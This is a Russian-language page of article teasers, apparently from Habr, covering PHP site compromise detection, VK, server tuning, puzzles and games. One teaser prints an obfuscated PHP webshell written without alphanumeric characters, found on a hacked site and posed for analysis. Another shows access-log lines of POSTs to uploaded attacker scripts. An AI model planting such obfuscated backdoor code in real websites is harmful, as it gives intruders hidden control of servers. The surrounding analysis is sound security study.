• Истинно анонимных пабликов в ВК не было до 29.10.14

    Привет! Я человек. Человек, которому интересно, как работает то, чем он пользуется чаще одного раза в день. И если в функциональности найден изъян, не поделиться с кем-то этим я не могу. Банально не хватает терпения сдерживать в себе информацию, которая может оказаться полезной некой категории людей, имеющих возможность извлечь из неё выгоду и поделиться со мной знанием, как такие знания использовать.
    Подробности
  • Как узнать, что ваш PHP сайт был взломан

    • Translation
    Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

    Проверьте логи доступа


    Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

    IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
    IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
    

    Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

    Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

    Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

    Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
    Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.
    Читать дальше →
  • Публикация на стене Вконтакте средствами php

    Получив задачу создать автоматическую публикацию материалов сайта на стене нашей страницы Вконтакте, я обнаружил, что рецептов по этой, казалось бы, актуальной теме относительно мало.

    В действительности всё оказалось довольно просто, и чтение документации по API часто помогает сэкономить время.

    Читать дальше →
  • Рынок телекоммуникаций в России — что, где, как, почем

      Так сложилось, что я давно на рынке сверх-высоко-нагруженных-проектов и связи.

      Делал тех. часть (NDA уже снято, да?) begun, mamba, badoo, innova, многих других.

      Сейчас — badoo и DI — любимые компании. Хотя — badoo это старая но нерушимая любовь, DI — это нечто для exUSSR — never seen before.

      Badoo — мы наконец взорвали рынок Европы, США и Латинской Америки (>100 миллионов пользователей — мне правда очень радостно быть частью процесса).
      DI — мы скоро сокрушительно взорвем рынок СНГ, но должны четко представлять куда и на каких условиях мы будем отдавать наш трафик.

      Речь сейчас об одной из насущных проблем — связь.

      На самом деле — это набор неких субьективных тезисов, которые возможно кому-то помогут, а кого-то возмутят…
      Все ниже написанное — глубокое IMHO.

      Рынок связи в России — это то что было на западе около 10-15 лет назад — пора диких правил, конкурентной борьбы и мутной воды в которой ловится рыбка.

      Читать дальше →
    • Ускорение загрузки Windows for fun and profit

        image Пожалуй, начну с того, что если перегружаться 15 раз в год, то любой «тюнинг» процесса загрузки отнимает больше времени, чем будет выиграно на перезагрузках за все время жизни системы. Однако, спортивный интерес берет свое, тем более, что люди интересуется процессом оптимизации быстродействия. А загрузка оказалась самым очевидным кандидатом в примеры того, как на мой взгляд должен выглядеть этот самый процесс. Сразу скажу, что грузиться будем с 5400 rpm винта, грузиться будем в «рабочую» систему: помимо недобитой вендорской крапвари там стоит еще куча всякого типа вижуал студии, антивируса, скайпа, стима, гуглапдейтера и пр…

        Про то, почему отключение pagefile-а скорее вредно, чем полезно — как нибудь в другой раз, а пока…
        Под катом много однообразных картинок и немножко унылого текста
      • Гуглякартим по умному

          В последнее время модно стало использовать гуглякарту.
          Гугля карту суда, гугля карту туда.
          И главное не забыть отобразить свои объектики на карте.
          Но, почему-то, подавлявшее число сервисов используют неправильную реализацию процесса передачи маркеров с сервера на клиент.
          Точнее они не правильно формируют запросы.
          А если выразиться еще более точнее — они это делают
          не-по-умному
        • Как один профессор продает своим студентам двадцатидолларовую купюру за $200.

            Прочитал в ЖЖ prokuror. Тема хоть и не связан напрямую с IT, но на Хабре очень много умных и разносторонних людей, которым этот текст может быть интересен. Далее цитата

            Отобрать деньги у студента программы MBA проще, чем забрать леденец у ребенка. К моменту получения диплома это, как правило, уже не требуется – они сами начинают разбрасывать деньги налево и направо. Хотя смеяться над людьми, явно пораженными в умственных способностях, негуманно — эта история про студентов MBA заслуживает того, чтобы стать общественным достоянием.

            Каждый год профессор Макс Базерман продает студентам MBA из Harvard Business School двадцатидолларовую купюру намного выше номинала. Его рекорд – продажа $20 за $204. А делает он это следующим образом.

            Читать дальше →
          • Сам себе Gmail

              Как сделать себе 100 почтовых ящиков вида моё@имя.ru, каждый объемом 6,5 гигабайт, и платить за это всего 1 рубль в день?

              Под катом — рассказываю пошагово. Для тех, кто не знал про это, или знал, но неохота было разбираться.

              Зачем? Для личных целей — чтобы на визитке не стыдно было печатать какой-нибудь «vasya-p1982-2@bk.ru». Для организаций тоже пригодится. В компании, которой я работал, на весь штат сотрудников на хостинге было всего 200 мегабайт места под почту. Этого было, разумеется, недостаточно, и сисадминша ходила и гавкала на сотрудников, снижая суммарный объем позитива во Вселенной, что абсолютно недопустимо :)

              Читать дальше →
            • Примитивная логика и кодирование информации

                Итак, довольно давно я столкнулся с довольно интересной задачкой:
                Подлые оккупанты захватили деревню мегамозгов, выстроили их друг за другом в колонну так, что каждый предыдущий видит всех последующих. На каждого мегамозга надели колпак черного или белого цвета так, что ни один мегамозг не видит свой колпак. Начиная с самого последнего (того, который видит всех кроме себя) у каждого мегамозга по очереди спрашивают цвет его шляпы, если он ошибается, его убивают. Но как раз на этот случай мегамозги заранее договорились, как минимизировать число убитых. О чем договорились мегамозги?
                (все ссылаются на braingames.ru, но на самом деле этот сайт — подлый плагиатор, задачка древняя, они переделали ее под свою специфику, — добавили везде мегамозгов, — и выдали за собственную)
                Вначале казалось что половина убитых — радость для этой деревни. Но, немного подумав, я натолкнулся (одна девушка меня натолкнула) на довольно простое решение: мозги заранее договариваются и если цвет впереди стоящего белый, то произносится свой цвет (извини, первый мегамозг, ты в 50% случаев умрешь...) громко, иначе — тихо. Но это — примитив, хотя уже дает результат вдвое лучший — 99 мегамозгов останутся живы.
                Теперь мой окончательный вариант: последний, который видит всех, считает парность, например, чёрных. Если получилось парное, говорит, что он чёрный. Он, к сожалению единственный, кто рискует погибнуть. Следующий считает парность чёрных, если парно — он белый (количество чёрных не изменилось), иначе — чёрный, следующий аналогично.

                Поразило меня в решении этой задачи то, что достигнут поистине поражающий результат — вначале казалось, что спасти хотя бы больше 50% — отличный результат, однако, пожертвовав жизнью всего лишь одного из мегамозгов (в 50% случаев) можно гарантированно спасти всех остальных!
              • Генерация больших карт в ремейке игры «Caesar III(с)»

                  Если вы любитель игры «Caesar III», то наверняка замечали то, с каким старанием и вниманием к мелочам сделаны карты кампании, да и свободного режима тоже. Природные пейзажи, на которых игрок возводит «новый Рим», выглядят вполне реалистично (в рамках игры): ручейки впадают в реки и озера, реки текут через всю карту, а в лесах бродят «бессмертные» овцы, иногда забредая на луга и мешая строить фермы, чайки кружат над местами скопления рыбы, а иногда по реке проплывает неудачливый моряк на останках корабля. Скальные массивы окружены деревьями, а земля покрыта ковром сочной зеленой травы. У всей этой чудной картинки есть недостаток, размер карты не превышает 160х160 тайлов, в статье я расскажу как сделал генерацию карт больших размеров.


                  Все дороги ведут в Рим
                • Как смотреть фильмы в оригинале, если английский слабоват? Решение!



                    Хочу рассказать о своем небольшом проекте для изучающих английский язык.

                    Как известно, чтобы изучать и не забывать язык, им надо пользоваться. И один из способов практиковать язык — это начать смотреть фильмы в оригинале.
                    Но как можно начать смотреть фильмы и получать при этом удовольствие, если в каждом диалоге актеров встречаются незнакомые слова?

                    В интернете полно методик, где советуют, например, смотреть по 3 раза или подготавливаться к просмотру, выписывая и заучивая заранее слова из субтитров. Да, возможно это эффективно, и кому-то подойдут такие способы, но это же так скучно… Я бы не смог смотреть 3 раза подряд один и тот же фильм. Хочется получать удовольствие от просмотра, смотреть сразу и без подготовки и все понимать.

                    Как же этого добиться?
                  • Тюнинг MySQL — thread_cache_size

                      Параметр thread_cache_size играет немаловажную роль в производительности нагруженного MySQL-сервера. В некоторых случаях можно увеличить производительность на 30-50%.

                      Этот параметр указывает количество тредов, уходящих в кеш при отключении клиента. При новом подключении тред используется из кеша, что позволяет экономить ресурсы при больших нагрузках.
                      Читать дальше →
                    • Элементарные социальные share-кнопки

                      • Tutorial
                      В ответ на посты о кнопках для шаринга в социальных сетях с громоздким исходным кодом, и сложной детальной кастомизацией, хочу показать хабрасообществу решение которое однажды написал неизвестный, но однозначно добрый программист. Автор сего чуда не я, но использую это решение уже больше года в проектах с которыми работаю.
                      Читать дальше →
                    • TorrentMonitor и снова здравствуйте

                        Полтора года назад я уже писал здесь о своей разработке TorrentMonitor. Кто-то может быть уже читал и давно пользуется, а кто-то может быть даже и не слышал, поэтому хочу поведать вам о ней ещё раз, тем более что полтора года я не сидел сложа руки. Это автоматическая система слежения за торрент-трекерами, которая автоматизирует процесс скачивания торрент-файлов.


                        Читать дальше →
                      • Ускоряем Nginx за 5 минут

                          image
                          Попытайтесь повторить это сами

                          Как правило, настроенный должным образом сервер Nginx на Linux, может обрабатывать 500,000 — 600,000 запросов в секунду. Но этот показатель можно весьма ощутимо увеличить. Хотел бы обратить внимание на тот факт, что настройки описанные ниже, применялись в тестовой среде и, возможно, для ваших боевых серверов они не подойдут.

                          Минутка банальности.

                          yum -y install nginx
                          

                          На всякий пожарный, создадим бэкап исходного конфига.

                          cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig
                          vim /etc/nginx/nginx.conf
                          

                          А теперь можно и похимичить!
                          Бдыжь-бдыжь
                        • PHP-шелл без единого буквенно-цифрового символа

                            Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
                            @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
                            $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
                            $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
                            $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
                            $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
                            $_=$ 
                            $_[$__+ $__] ;$_[@-_]($_[@!+_] );
                            

                            Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
                            Узнать подробности
                          • Как две недели?!

                              Как это вам надо две недели на эту задачу? Что, правда? Вот на эту элементарную формочку с тремя полями и двумя кнопками? Две недели? Да вы надо мной издеваетесь, наверное! Давайте разбираться.

                              Что? Нужна ли валидация данных при вводе? Ну, конечно, нужна! И вообще, вот это поле лучше разбить на два, так понятнее. А вот в это добавить маску. А вот это — заменить на выпадающий список. Где брать варианты для этого списка? В базе на сервере, конечно. Как это их там нет? А, ну да, это же в другом проекте они у нас были… Ну, значит надо добавить. Взять там и добавить сюда. Сейчас я дам вам контакт разработчика того проекта — обсудите с ним. Он, правда, у нас уже не работает, но я думаю, вполне можно спросить что и как — он расскажет, скорее всего.

                              Мы всё обсудили? Нет? Что ещё?
                              Читать дальше →
                            • Визуализируем геоинформацию из логов на web-карте в реальном времени

                              • Tutorial


                              Дабы не было двусмысленностей, обозначу суть. При приёме на новую работу мне дали тестовое задание, которое кратко можно описать так: «Написать аналог Glow для геовизуализации событий входа пользователей в кастомерку интернет-магазина». Проще говоря, необходимо мониторить лог системы на предмет возникновения определенных событий и в случае оных выполнять (в данном случае) отображение точки на карте, которая будет определяться IP-адресом пользователя. Цель реализации: создать приятную на вид «игрушку» для презентационных целей, способную погрузить смотрящего в нирвану гармонии и эстетического наслаждения. Основным условием было использование в процессе разработки стека Java-технологий, чем обусловлено принятие многих решений. Кроме этого, было решено реализовать это в виде одностраничного сайта. А поскольку с Java и web я был знаком крайне поверхностно (писал в основном на C/C++), пришлось многому научиться. Что ж, будем разбираться вместе.
                              Статья рассчитана на интересующихся и начинающих, однако не «разжевывает» простые вещи, с которыми можно ознакомиться с помощью документации или специализированных статей. Наиболее полезные ресурсы, ссылка на исходники (распространяются по лицензии BSD) и ссылка на рабочую версию приведены в конце статьи.

                              Читать дальше →